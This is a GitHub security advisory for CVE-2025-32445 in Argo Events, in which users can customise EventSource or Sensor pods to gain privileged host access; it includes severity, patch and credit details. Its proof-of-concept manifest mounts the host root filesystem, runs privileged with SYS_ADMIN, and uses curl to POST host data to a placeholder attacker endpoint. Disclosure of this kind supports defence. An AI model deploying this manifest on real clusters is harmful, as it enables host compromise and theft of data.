GHSA-HMP7-X699-CVHQ

Vulnerability from github – Published: 2025-04-14 17:47 – Updated: 2025-04-23 15:07
VLAI
Summary
Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR
Details

Summary:

A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.

Details:

The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext, volumeMount can be specified, and applied to the EventSource or Sensor pod due to the code logic below.

    if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil {
        if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {
            return nil, err
        }
    }

With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template.

Here is an example that demonstrates the vulnerability.

apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
  name: poc-vulnerable-eventsource
spec:
  webhook:
    security-test:
      port: "12000"
      endpoint: "/webhook"
  template:
    container:
      image: ubuntu:latest
      command: ["/bin/bash"]
      args: [
        "-c",
        "apt-get update && apt-get install -y curl && while true; do
         rm -f /tmp/data;
         echo '=== containerd socket ===' > /tmp/data 2>&1;
         ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
         echo '=== proof of host access ===' >> /tmp/data 2>&1;
         cat /host/etc/hostname >> /tmp/data 2>&1;
         curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;
         sleep 300;
         done"
      ]
      securityContext:
        privileged: true
        capabilities:
          add: ["SYS_ADMIN"]
      volumeMounts:
        - name: host-root
          mountPath: /host
    volumes:
      - name: host-root
        hostPath:
          path: /

Impact:

  • Multi-tenant Clusters:
  • Tenant isolation broken
  • Non-admin users can gain host/cluster access

  • Access to other tenants' data

  • Security Model Bypass:

  • RBAC restrictions circumvented
  • Pod Security Policies/Standards bypassed
  • Host system compromised

Patches

A patch for this vulnerability has been released in the following Argo Events version , which only limited properties under spec.template.container are allowed.

v1.9.6

Credits

This vulnerability was found & reported by:

@thevilledev

The Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-events"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-32445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-250",
      "CWE-268"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-14T17:47:39Z",
    "nvd_published_at": "2025-04-15T20:15:39Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary:\n\nA user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.\n\n### Details:\n\nThe `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below.\n\n```golang\n    if args.EventSource.Spec.Template != nil \u0026\u0026 args.EventSource.Spec.Template.Container != nil {\n        if err := mergo.Merge(\u0026eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {\n            return nil, err\n        }\n    }\n```\n\nWith these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`.\n\nHere is an example that demonstrates the vulnerability.\n\n```\napiVersion: argoproj.io/v1alpha1\nkind: EventSource\nmetadata:\n  name: poc-vulnerable-eventsource\nspec:\n  webhook:\n    security-test:\n      port: \"12000\"\n      endpoint: \"/webhook\"\n  template:\n    container:\n      image: ubuntu:latest\n      command: [\"/bin/bash\"]\n      args: [\n        \"-c\",\n        \"apt-get update \u0026\u0026 apt-get install -y curl \u0026\u0026 while true; do\n         rm -f /tmp/data;\n         echo \u0027=== containerd socket ===\u0027 \u003e /tmp/data 2\u003e\u00261;\n         ls -la /host/run/containerd/containerd.sock \u003e\u003e /tmp/data 2\u003e\u00261;\n         echo \u0027=== proof of host access ===\u0027 \u003e\u003e /tmp/data 2\u003e\u00261;\n         cat /host/etc/hostname \u003e\u003e /tmp/data 2\u003e\u00261;\n         curl -X POST --data-binary @/tmp/data http://\u003cattacker-controlled-endpoint\u003e:8000/;\n         sleep 300;\n         done\"\n      ]\n      securityContext:\n        privileged: true\n        capabilities:\n          add: [\"SYS_ADMIN\"]\n      volumeMounts:\n        - name: host-root\n          mountPath: /host\n    volumes:\n      - name: host-root\n        hostPath:\n          path: /\n```\n\n### Impact:\n\n- Multi-tenant Clusters:\n  - Tenant isolation broken\n  - Non-admin users can gain host/cluster access\n  - Access to other tenants\u0027 data\n\n- Security Model Bypass:\n  - RBAC restrictions circumvented\n  - Pod Security Policies/Standards bypassed\n  - Host system compromised\n\n### Patches\n\nA [patch](https://github.com/argoproj/argo-events/pull/3528) for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed.\n\n`v1.9.6`\n\n### Credits\n\nThis vulnerability was found \u0026 reported by:\n\n@thevilledev\n\nThe Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.",
  "id": "GHSA-hmp7-x699-cvhq",
  "modified": "2025-04-23T15:07:31Z",
  "published": "2025-04-14T17:47:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-events/security/advisories/GHSA-hmp7-x699-cvhq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-events/pull/3528"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-events/commit/18412293a699f559848b00e6e459c9ce2de0d3e2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-events"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3608"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR "
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.